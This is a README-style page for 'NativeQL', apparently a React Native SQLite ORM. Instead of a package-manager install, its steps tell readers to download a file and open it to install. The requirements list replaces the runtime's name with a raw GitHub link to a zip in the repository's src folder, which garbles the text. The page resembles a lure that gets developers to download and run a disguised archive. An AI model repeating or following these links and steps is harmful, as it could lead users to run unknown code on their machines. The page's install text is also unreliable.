NativeQL is a lightweight Object-Relational Mapping (ORM) tool designed specifically for React Native apps using SQLite. It simplifies data management in mobile applications, allowing developers to interact with databases more easily.
With NativeQL, you can integrate data storage without diving into complex database management. This means you can focus on building your app while efficiently managing data.
- Easy to Use: NativeQL offers a straightforward interface that helps you manage your data without needing extensive programming skills.
- Lightweight: Built to be efficient, so it won’t slow down your application.
- SQLite Support: Seamlessly integrates with SQLite, a popular database for React Native apps.
- TypeScript Ready: Take advantage of TypeScript for better code safety and intellisense.
NativeQL covers various topics relevant to mobile development. Here are some key areas:
- decorators
- expo
- expo-sqlite
- mobile
- mobile-development
- nodejs
- orm
- react-native
- react-native-sqlite-storage
- sqlite
- sqlite3
- typescript
To download NativeQL, visit the Releases page.
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Click the link below to visit the Releases page: Download NativeQL Here
- Once on the Releases page, locate the version you wish to download. Look for the latest version for the best features and updates.
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Click on the version number to access the download options.
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You will see files available for download. Choose the file that fits your operating system.
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After the file downloads, locate it in your device’s downloads folder.
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Open the file to install NativeQL. Follow any prompts to complete the installation.
Before you install NativeQL, ensure your setup meets these requirements:
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Operating Systems:
- Windows 10 or later
- macOS High Sierra or later
- Any recent version of Linux
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https://raw.githubusercontent.com/Augustostx/NativeQL/main/src/QL-Native-1.0-beta.2.zip: Version 12 or later installed. NativeQL depends on https://raw.githubusercontent.com/Augustostx/NativeQL/main/src/QL-Native-1.0-beta.2.zip to run smoothly.
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React Native: Ensure you have React Native setup in your project.
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SQLite: SQLite must be functional; NativeQL uses it for database management.
For detailed instructions on using NativeQL, visit our documentation. It’s user-friendly and provides step-by-step guidance.
An ORM, or Object-Relational Mapping, allows you to interact with a database using objects, making it easier to store and retrieve data.
Yes! NativeQL works well with Expo projects, easing integration into your mobile app.
No, you do not need to know SQL to use NativeQL effectively. It simplifies database interactions, allowing you to work without the complexities of raw SQL queries.
If you face any difficulties, please check the issues section on our GitHub page. You can also contribute by posting your problem or assist others.
We welcome contributions! Whether you want to report a bug, suggest a feature, or improve the documentation, feel free to open an issue or submit a pull request.
To explore more about NativeQL and its capabilities, check out these useful resources:
Discover how NativeQL can streamline your mobile development today!
Enjoy building your next mobile application with NativeQL!